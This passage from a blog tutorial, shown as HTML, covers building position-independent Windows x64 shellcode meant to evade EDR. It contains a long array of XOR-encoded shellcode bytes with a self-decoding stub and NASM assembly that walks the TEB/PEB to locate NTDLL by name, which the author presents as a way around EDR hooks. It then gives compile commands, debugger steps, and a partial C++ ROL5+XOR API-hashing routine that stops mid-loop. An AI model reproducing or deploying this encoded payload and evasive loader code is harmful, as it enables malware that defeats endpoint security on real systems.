<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 
<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="nl">main:</span>

<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
	
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>             <span class="c1">; RCX = 0</span>

<span class="c1">; Access TEB base: GS segment points to TEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">gs</span><span class="p">:[</span><span class="mh">0x30</span><span class="p">]</span>
<span class="c1">; Access PEB from TEB (TEB + 0x60)</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span>

<span class="c1">;mov rax, [gs:rcx + 0x60] ; RAX = PEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">]</span>    <span class="c1">; RAX = PEB-&gt;Ldr (_PEB_LDR_DATA)</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>       <span class="c1">;PEB.Ldr-&gt;InMemOrderModuleList</span>

<span class="nl">checkit:</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span> 
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span> 

<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x6C00640074006E</span> <span class="c1">;UNICODE "N T D L" from NTDLL.DLL</span>
<span class="nf">cmp</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rdx</span>
<span class="nf">jz</span> <span class="nv">foundit</span>
<span class="nf">jnz</span> <span class="nb">ch</span><span class="nv">eckit</span>

<span class="nl">foundit:</span>
<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">]</span>

<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rbx</span>              <span class="c1">; mov NTDLL.dll base addr into r8</span>
</code></pre></div></div>

<p>We can consider the above the Preamble for most PIC shellcode.  Mine will likely be a variation on a theme to what you’ll find used in C2 frameworks and elsewhere, but the general principle is the same.  I’m first locating the Thread Environment Block (TEB), then we proceed to locate and walk the Process Environment Block (PEB).  The approach we’re taking here is really effective.</p>

<p>The reason being, is that we will locate NTDLL (or kernel32, etc) by name and not mathematically like the old school method of locating kernel32/ntdll base address by some hardcoded offset.  Notice how I’m looking for the unicode value <strong>N T D L</strong>?  Say EDR hooks our program and we had previously hardcoded ntdll as the 3rd item to grab when walking the PEB?  The PEB could be hooked by the EDR, and the 3rd position, normally reserved for kernel32.dll or ntdll, would have the hooked dll in its place.  This is <strong>NOT</strong> good!  However, since we’re actually searching for NTDLL by name, we are pretty much guaranteed to always find the appropriate one!  😼</p>

<p>Go ahead and compile that code and let’s check it out, shall we:</p>

<ul>
  <li><strong>nasm -fwin64 blog_pic_part2.asm</strong></li>
  <li><strong>ld -m i386pep -N -o blog_pic_part2.exe blog_pic_part2.obj</strong></li>
</ul>

<p>Now, navigate to <strong>x64Dbg</strong> and open your newly minted, compiled executable. 😸</p>

<p>Hit run and step over (step through) your code until you hit the <code class="language-plaintext highlighter-rouge">cmp rbx, rdx</code> instruction.  Look at both register values.  Notice anything interesting?</p>

<p><img width="1341" height="261" alt="image" src="https://github.com/user-attachments/assets/31b223e3-3fac-43d1-aa0c-3f3afa695567" /></p>

<p>The compare will succeed, since we found NTDLL!  Next, we will jump to the assembly instruction that will locate the actual address of NTDLL and store it in rbx.</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>00007FF6EDFA103B</td>
        <td>48:8B5E 30</td>
        <td>mov rbx,qword ptr ds:[rsi+30]</td>
      </tr>
    </tbody>
  </table>
</blockquote>

<p>We will make a copy of this memory address, storing it in the <code class="language-plaintext highlighter-rouge">R8</code> register to prepare for later needs throughout our code.</p>

<h2 id="grabbing-our-hashed-api-strings">Grabbing our Hashed API Strings</h2>

<p>Before we proceed, let’s write a very rudimentary program which will perform a Rotate left 5 (ROL5) + XOR routine against our API strings to hash them.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span>
<span class="n">DWORD</span> <span class="nf">hashString</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">str</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">DWORD</span> <span class="n">hash</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">hash</span> <span class="o">=</span> <span class="p">((</span><span class="n">hash</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">hash</span> <span class="o">&gt;&gt;</span> <span class="mi">27</span><span class="p">))</span> <span class="o">^</span> <span class="o">*</span><span class="n">str</span><span class="p">;</span> <span class="c1">// Rotate left 5 and XOR</span>
        <span class="n">str</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">hash</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">apis</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"RtlCreateHeap"</span><span class="p">,</span> <span class="s">"RtlAllocateHeap"</span><span class="p">};</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
